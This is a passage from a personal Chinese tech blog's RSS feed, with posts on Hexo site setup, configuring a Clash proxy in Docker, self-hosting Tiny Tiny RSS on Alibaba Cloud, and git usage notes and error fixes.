<li>（前略）验证网站所有权时，选择使用HTML标记方式来验证。fluid主题的head路径为<code>\themes\fluid\layout\_partials\head.ejs</code></li>
</ol>
</li>
<li>减少加载时间，尚未实操，先记录几篇看到的好文
<ul>
<li><a href="https://www.voidking.com/dev-hexo-accelerate/"  target="_blank" rel="noopener" >Hexo加速访问</a></li>
<li><a href="https://www.voidking.com/dev-hexo-gulp/"  target="_blank" rel="noopener" >Hexo使用Gulp压缩静态资源</a></li>
</ul>
</li>
<li>插入图片，这篇写得挺完整的：
<a href="https://fuhailin.github.io/Hexo-images/"  target="_blank" rel="noopener" >在Hexo博客中插入图片的各种方式</a></li>
<li>添加最后修改时间:
T将主题配置文件<code>_config.yml</code>中的<code>post:copyright:update_date:enable:</code>设置为<code>enable</code>即可+08:00</li>
</ol>
<h2 id="quick-start">Quick Start</h2>
<h3 id="create-a-new-post">Create a new post</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ hexo new <span class="s2">&#34;My New Post&#34;</span>
</span></span></code></pre></div><p>More info: <a href="https://hexo.io/docs/writing.html"  target="_blank" rel="noopener" >Writing</a></p>
<h3 id="run-server">Run server</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ hexo server
</span></span></code></pre></div><p>More info: <a href="https://hexo.io/docs/server.html"  target="_blank" rel="noopener" >Server</a></p>
<h3 id="generate-static-files">Generate static files</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ hexo generate
</span></span></code></pre></div><p>More info: <a href="https://hexo.io/docs/generating.html"  target="_blank" rel="noopener" >Generating</a></p>
<h3 id="deploy-to-remote-sites">Deploy to remote sites</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ hexo deploy
</span></span></code></pre></div><p>More info: <a href="https://hexo.io/docs/one-command-deployment.html"  target="_blank" rel="noopener" >Deployment</a></p>
]]></content:encoded>
    </item>
    
    <item>
      <title>network</title>
      <link>https://ds63.eu.org/2023/network/</link>
      <pubDate>Sat, 11 Mar 2023 19:32:04 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2023/network/</guid>
      <description>网络配置学习</description>
      <content:encoded><![CDATA[<h1 id="网络">网络</h1>
<h2 id="过程">过程</h2>
<ul>
<li>先是看<a href="https://www.jianshu.com/p/53457e21fcd4"  target="_blank" rel="noopener" >如何让国内的阿里云服务器可以高速下载Github代码</a>，但这个是纯命令行的，用的是pm2</li>
<li>因为延迟比较大，想切换节点，首先是研究怎么用命令行实现.确实可以，<a href="https://sakronos.github.io/Note/2021/03/06/%E4%BD%BF%E7%94%A8Clash-APIj%E5%88%87%E6%8D%A2%E8%8A%82%E7%82%B9/"  target="_blank" rel="noopener" >使用Clash-API切换节点</a>有介绍，但我去操作的话不行，返回<code>{&quot;message&quot;:&quot;Body invalid&quot;}  </code>。看也有人提issue，但我还是不能成功更改。加上这样更改的话，就挺麻烦的。于是想着能不能搞个ui。</li>
<li>然后参考<a href="https://blog.zzsqwq.cn/posts/how-to-use-clash-on-linux/"  target="_blank" rel="noopener" >如何在Linux上优雅的使用Clash</a>这篇，docker让这些配置变得简单多了。但我还是遇到了些问题：主要是自作聪明，修改了</li>
</ul>
<pre tabindex="0"><code> - ./config.yaml:/root/.config/clash/config.yaml
 - ./Country.mmdb:/root/.config/clash/Country.mmdb
</code></pre><p>调试后才发现并不用修改。另一个是配置<code>external-controller: :9090</code>时，自己改成了<code>127.0.0.1:9090</code></p>
<ul>
<li>上面那篇文章少了暴露接口这一步，<a href="https://juejin.cn/post/7054941050216906760"  target="_blank" rel="noopener" >如何为实验室服务器配置终端代理</a>，<a href="https://zhuanlan.zhihu.com/p/46973701"  target="_blank" rel="noopener" >Linux 让终端走代理的几种方法</a>,这两篇讲得挺好的</li>
</ul>
<h2 id="收获">收获</h2>
<ul>
<li>了解了配置文件怎么写的</li>
<li>学到了如何检查是处于代理状态：<code>curl cip.cc</code>，但得到的地址和我实际走的节点不一样</li>
</ul>
<h2 id="参考链接">参考链接</h2>
<ul>
<li><a href="https://sakronos.github.io/Note/2021/03/06/%E4%BD%BF%E7%94%A8Clash-APIj%E5%88%87%E6%8D%A2%E8%8A%82%E7%82%B9/"  target="_blank" rel="noopener" >使用Clash-API切换节点</a></li>
<li><a href="https://github.com/Dreamacro/clash/issues/659"  target="_blank" rel="noopener" >通过RESTful API更改节点代理返回{&ldquo;message&rdquo;:&ldquo;Body invalid&rdquo;}</a></li>
<li><a href="https://www.jianshu.com/p/53457e21fcd4"  target="_blank" rel="noopener" >如何让国内的阿里云服务器可以高速下载Github代码</a></li>
<li><a href="https://blog.zzsqwq.cn/posts/how-to-use-clash-on-linux/"  target="_blank" rel="noopener" >如何在Linux上优雅的使用Clash</a></li>
<li><a href="https://juejin.cn/post/7054941050216906760"  target="_blank" rel="noopener" >如何为实验室服务器配置终端代理</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/46973701"  target="_blank" rel="noopener" >Linux 让终端走代理的几种方法</a></li>
<li><a href="https://github.com/Dreamacro/clash/wiki/configuration"  target="_blank" rel="noopener" >Configuration</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>RSS折腾记</title>
      <link>https://ds63.eu.org/2023/rss%E6%8A%98%E8%85%BE%E8%AE%B0/</link>
      <pubDate>Wed, 08 Mar 2023 15:59:18 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2023/rss%E6%8A%98%E8%85%BE%E8%AE%B0/</guid>
      <description>记录ttrss的搭建过程和rss相关的内容</description>
      <content:encoded><![CDATA[<h1 id="rss折腾记">RSS折腾记</h1>
<p>3月7日，下午没有课，很闲。玩了会吸血鬼幸存者觉得索然无味，就想着试下之前没有成功的服务器。</p>
<p>先是试了下AZURE，但学生验证没过，放弃了。然后尝试阿里云。他有一个飞天加速3.0-高校计划，可以领取七个月的ECS。还是蛮顺利的。</p>
<p>领取后第一个想法是搭自己的RSS服务。基本上是照着<a href="https://sspai.com/post/57498#!"  target="_blank" rel="noopener" >找不到满意的 RSS 服务？你可以自己搭建一个</a>，来完成的。但中间还是有些曲折，踩了一些坑。</p>
<ul>
<li>
<p>首先是网络问题。文中给的地址都是Github上的，但下载速度实在不行。16M的文件要下载半个多小时。这个有两种解决方式是。首先尝试的是用镜像站，但因为尝试的镜像站有问题，再加上我后续还想在服务器上搭telegram机器人。于是选择用代理。参考了<a href="https://www.jianshu.com/p/53457e21fcd4"  target="_blank" rel="noopener" >如何让国内的阿里云服务器可以高速下载Github代码</a>,和所用机场的教程。但关于如何更换节点，还不清楚。现在会了，记录在<a href="https://euds63.github.io/2023/03/11/network/"  target="_blank" rel="noopener" >网络</a></p>
</li>
<li>
<p>其次是文中给的ttrss 的 docker-compose 配置文件有问题，自己修改后下的东西也不对。然后就想到直接复制过来。但对vim的操作实在是不熟悉，加上yml对间隔格式要求很严，在这上面折腾了好一会儿。
(发现是自己愚蠢，GitHub提供了相应的下载方式：点raw，跳转到的就是所需的网址了。比如我这步所需的代码就是<code>curl -fLo a.yml https://raw.githubusercontent.com/HenryQW/Awesome-TTRSS/main/docker-compose.yml</code>)</p>
</li>
<li>
<p>容器启动后，按照描述，我访问<code>{服务器 IP}:181</code>，应该可以直接看到 Tiny Tiny RSS 的 Web 前端。但却报502。后来想到，默认的181端口是不开放的，在安全组中添加了就可以了。</p>
</li>
<li>
<p>阅读器的选择也花了我很多时间，先是试已经使用过一段时间的<code>Fluent Reader</code>,但按照文档里所给的地址不成功，然后是选用<code>TTRSS-Reader</code>,这个就很顺利，但界面比较复古，加上功能不够多，也可能是我还没有发掘出来，就转而使用<code>FeedMe</code>,首先用的是TTRSS的api，但出现的问题是订阅地址能过来，但内容拉取不到，看issue才发现这是好几个月前就出现的bug，还没被修复，解决方法是转用fever api。但这个也是坑。首先是网页给的地址是<code>http:/[您的地址]/plugins.local/fever/</code>,而文档给的地址是<code>https://[您的地址]/plugins/fever</code>。但可能是不同阅读器设置的过滤方法不一样，<code>FeedMe</code>能用的地址是<code>http://[您的地址]/</code>,而<code>Fluent Reader</code>则是<code>http://[您的地址]//plugins/fever/</code>。</p>
</li>
</ul>
<p>以上就是整个搭建过程中所遇到的问题，目前发现<code>FeedMe</code>的功能明显得多，还有RSSHub也想用起来，订阅源想扩大到除了个人博客之外的其他。</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>git学习笔记</title>
      <link>https://ds63.eu.org/2022/git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Sun, 04 Sep 2022 12:31:47 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2022/git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
      <description>记录git学习</description>
      <content:encoded><![CDATA[<h2 id="记录">记录</h2>
<h3 id="gitee配置的记录">Gitee配置的记录</h3>
<p>因为srtp项目是用gitee作托管，所以今天试着配置了下Gitee，还是花了些时间的，记录如下：</p>
<ol>
<li>主要参考的是<a href="https://cloud.tencent.com/developer/article/1774890"  target="_blank" rel="noopener" >Git同时配置Gitee和GitHub</a>,但它上面第一步就是让清除git的全局设置，有点不敢，因为怕清除后自己之前设置的一些东西出错。</li>
<li>又看了几个教程，发现<a href="https://blog.csdn.net/weixin_43894513/article/details/104550377"  target="_blank" rel="noopener" >Github 与 Gitee 共存配置</a>上并没有说要清楚全局设置，于是就跟着上面的一步步走，很顺利地就设置好了。</li>
<li>一个收获是<code>config</code>,<code>id_rsa</code>都是可以用记事本打开并编辑的。</li>
</ol>
<h3 id="多人协作时的流程">多人协作时的流程</h3>
<p>这次小组项目用的是华为云，所以流程也都是基于华为云来说的。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1">#确定好本次代码开发所要完成的任务，开好远程分支x，相关信息(分支名称，描述，关联工作项）要注明好</span>
</span></span><span class="line"><span class="cl">git pull <span class="c1">#确保代码、分支是最新的</span>
</span></span><span class="line"><span class="cl">git checkout -b 本地分支名 origin/远程分支名x   <span class="c1">#检出远程的x分支到本地</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 代码开发</span>
</span></span><span class="line"><span class="cl">git add .
</span></span><span class="line"><span class="cl">git commit -m<span class="s2">&#34;{</span>$<span class="s2">适当的批注}&#34;</span>
</span></span><span class="line"><span class="cl">git push <span class="c1">#将代码推送到远程分支，开发过程中这个操作可以频繁点，好处是：代码备份和版本管理</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 完成本次代码开发所要完成的任务后（请确定功能实现，本地调试没问题）</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 接下来进行分支的合并 </span>
</span></span><span class="line"><span class="cl"><span class="c1"># 在华为云中新建合并请求（可设置检视人，评审人，让别人帮忙看看）</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 合并完成后（默认设置是分支合并后，源分支是删除的）</span>
</span></span><span class="line"><span class="cl">git remote prune origin <span class="c1">#当华为云上显示远程分支已经删除，但git branch -r仍然看到所删除的分支，执行该命令</span>
</span></span><span class="line"><span class="cl">git checkout master <span class="c1">#切回master分支（一次任务完成后，建议切回master分支，这样pull的时候可以避免自己写的代码丢失的问题）</span>
</span></span><span class="line"><span class="cl">git branch -d <span class="o">{</span>$本地分支名<span class="o">}</span> <span class="c1">#删除本次任务所用的本地分支（也可以不删，当作备份）</span>
</span></span></code></pre></div><hr>
<h2 id="报错与解决">报错与解决</h2>
<ol>
<li>
<p>报错：</p>
<blockquote>
<p>Updates were rejected because the remote contains work that you donot have locally.</p>
</blockquote>
<ul>
<li><strong>场景</strong>:在尝试gitee的时候，先是建了个远程仓库。然后在本地新建了个同名的文件夹，然后
<pre tabindex="0"><code>git init 
git remote add origin https://gitee.com/spike23187/hello-gitee.git
</code></pre></li>
</ul>
<p>在文件夹里新建了个文件，<code>push</code>的时候报的错</p>
<ul>
<li><strong>解决</strong>: 根据下方的提示，是我没有先<code>pull</code>，本地文件不是最新的。</li>
</ul>
</li>
<li>
<blockquote>
<p>Updates were rejected because the tip of your current branch is behind its remote counterpart</p>
</blockquote>
<ul>
<li><strong>场景</strong>：上述那个场景中，<code>git pull origin master</code>后报的错</li>
<li><strong>解决</strong>：<code>git pull origin master --rebase</code></li>
<li><strong>参考链接</strong>：<a href="https://blog.csdn.net/weixin_42310154/article/details/118676936"  target="_blank" rel="noopener" >Git常见报错：Updates were rejected because the tip of your current branch is behind</a></li>
<li><strong>收获</strong>：虽然使用GitHub托管代码有段时间了，但一直是用插件简化操作的。这次算是第一次用git bash，就报了两个错，感觉git要用好，还是有段路要走的。</li>
</ul>
</li>
<li></li>
</ol>
<ul>
<li><strong>场景</strong>:push时报错,大意是网络问题</li>
<li><strong>解决</strong>：
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">   <span class="c1"># usually</span>
</span></span><span class="line"><span class="cl">   git config --global http.proxy <span class="s1">&#39;http://127.0.0.1:7890&#39;</span>
</span></span><span class="line"><span class="cl">   git config --global https.proxy <span class="s1">&#39;http://127.0.0.1:7890&#39;</span>
</span></span><span class="line"><span class="cl">   <span class="c1"># in wsl2 </span>
</span></span><span class="line"><span class="cl">   git config --global http.proxy <span class="s1">&#39;http://172.19.80.1:7890&#39;</span>
</span></span><span class="line"><span class="cl">   git config --global https.proxy <span class="s1">&#39;http://172.19.80.1:7890&#39;</span>
</span></span></code></pre></div></li>
</ul>
<hr>
<h2 id="使用技巧">使用技巧</h2>
<h3 id="github项目内搜索">Github项目内搜索</h3>
<p>在仓库页面上按 T ，然后直接输入文件名</p>
<hr>
<h1 id="可供参考的链接">可供参考的链接</h1>
<ul>
<li><a href="https://www.yiibai.com/git"  target="_blank" rel="noopener" >git教程</a></li>
<li><a href="https://www.theserverside.com/video/Git-reflog-vs-log-How-these-commit-history-tools-differ"  target="_blank" rel="noopener" >Git reflog vs. log: How these commit history tools differ</a></li>
<li><a href="http://blog.ch3nyang.top/miscellaneous/git%E5%AD%A6%E4%B9%A0/"  target="_blank" rel="noopener" >【杂】git学习</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/137856034"  target="_blank" rel="noopener" >拜托，不要再问我Git如何回滚代码</a></li>
<li><a href="https://stackoverflow.com/questions/20106712/what-are-the-differences-between-git-remote-prune-git-prune-git-fetch-prune"  target="_blank" rel="noopener" >What are the differences between git remote prune, git prune, git fetch &ndash;prune, etc</a></li>
<li><a href="https://rehoni.github.io/cn/2019/2019-10-11-git-problems/"  target="_blank" rel="noopener" >Git实际问题</a></li>
<li><a href="https://jvns.ca/blog/2023/09/14/in-a-git-repository--where-do-your-files-live-/"  target="_blank" rel="noopener" >In a git repository, where do your files live?</a></li>
</ul>
]]></content:encoded>
    </item>
    
  </channel>
</rss>
